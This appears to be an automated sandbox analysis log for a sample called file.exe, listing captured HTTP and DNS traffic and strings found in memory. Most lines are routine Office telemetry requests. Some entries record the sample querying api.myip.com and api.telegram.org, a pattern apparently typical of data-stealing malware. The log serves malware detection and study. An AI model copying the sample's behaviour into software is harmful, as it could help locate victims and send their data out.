Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: - https://www.facebook.com/groups/ equals www.facebook.com (Facebook)
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: d- https://www.facebook.com/groups/ equals www.facebook.com (Facebook)
Source: file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: z"- https://www.facebook.com/groups/r equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: api.myip.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000001.00000003.2104230165.00000214FFC8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117528067.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107937864.00000214FFC8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120640970.0000021481A9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103312630.00000214FFC7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118761418.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122323104.00000214FF9BD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122249938.00000214FFC94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A99000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111847758.00000214FFC91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html
Source: file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.dig
Source: file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: file.exe, 00000000.00000003.1690618091.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690618091.000001F724DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690618091.000001F724DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 